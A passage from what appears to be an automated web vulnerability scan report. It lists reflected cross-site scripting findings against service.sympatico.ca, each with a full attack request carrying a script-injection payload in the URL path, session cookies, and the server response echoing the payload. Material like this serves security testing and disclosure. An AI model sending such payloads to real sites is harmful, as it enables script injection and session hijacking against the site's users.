Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:22 GMT
Connection: close
Set-Cookie: SMSESSION=NBXnJzTq1PFLRcpOd0YntwVT/TlM1oeUgeScRs3rvx7PgoWdpyFMROYqHX3sUc0SMa7AeU2qTnpU+3AjfQNgswYrinhcHw/bv8jw+nv2RQDTu3v1PnYyiRXukOH1H2AQokk0AU9HM2iQRdkeFi/PL6rbuCHjAn32uGV+DYcEWVEFDmnSgGpXmoWMPSBPugiBlaAA7+1o7MSnP9daddrGT+zyRc21i90p2uoXvqPLrlGxRrj73BENjxQngktZEazWjXn2vP2+BNd/cxjbdONcn2PacAZy0fi+shTetIpiF4EKdBEc41+JaQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:22 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:22 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:22 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:22 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/cssc3bb8"><script>alert(1)</script>591606ed58d/screen.css" />
...[SNIP]...

2.79. http://service.sympatico.ca/css/screen.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/screen.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51e4d"><script>alert(1)</script>8888c1363d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/screen.css51e4d"><script>alert(1)</script>8888c1363d HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:24 GMT
Connection: close
Set-Cookie: SMSESSION=pfjUW7Mlih815hJNPc0lctJLf5B1104r3cNfdjP2xS4cd5tqLb2l3FM6Wn+6jl+D9jYnTgIafa9k5B4zuTZlLj/VqeTobgQg0oSHWLSVTGuvG8lbGe7CjUFDvtxmc3pBa9+8I6DKlkEST1CWGuMFblc8V5QZ5DQADFUD5FBnXPJ3bbRezl44pFohf8//XEfMdhW1fSzdY9R0rlRCAxp7031auo6mpsXHaZTw4zS1u62BpoUaM/6ZikIdT5D0QB127gwf9HVp38D7AJXUU1ug62+MxVcOCRKtqqNC3HhOWXESU0fLNKCzMQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:24 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:24 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:24 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:24 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:24 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/screen.css51e4d"><script>alert(1)</script>8888c1363d" />
...[SNIP]...

2.80. http://service.sympatico.ca/css/screen_print.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/screen_print.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2be7f"><script>alert(1)</script>6e23f0ec572 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css2be7f"><script>alert(1)</script>6e23f0ec572/screen_print.css HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:17 GMT
Connection: close
Set-Cookie: SMSESSION=KX00XPj1WP0iPwR2feeZ67yWPDDrXiDT1VGQaIux/PPNhOkKyZRz8vHbBqk3rousBlOGVu0BcvsWtmoktpKdkgw1aUUbsKj0ObgOyD2cr/8Qxd7aAn4/Dhhis1s6FyvemHtInYL33O01acdOOl9F+NavYyW4rTwhSUwFk1n7E6kTUAoIepnUZ6yl93Ji8oIEmjJa2Q4kZNVQdavZJpow9O8tNkb2aBIhPwHJZBn3X+lovpVk0F8o/lu7EGoL5755A7R+xIWxYoAwRcufQXd3B2td/LwfKi/4P+WlV5pb0YOHR3545znWyQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css2be7f"><script>alert(1)</script>6e23f0ec572/screen_print.css" />
...[SNIP]...

2.81. http://service.sympatico.ca/css/screen_print.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/screen_print.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b0de"><script>alert(1)</script>b1fcc5e3507 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/screen_print.css5b0de"><script>alert(1)</script>b1fcc5e3507 HTTP/1.1
Accept: */*
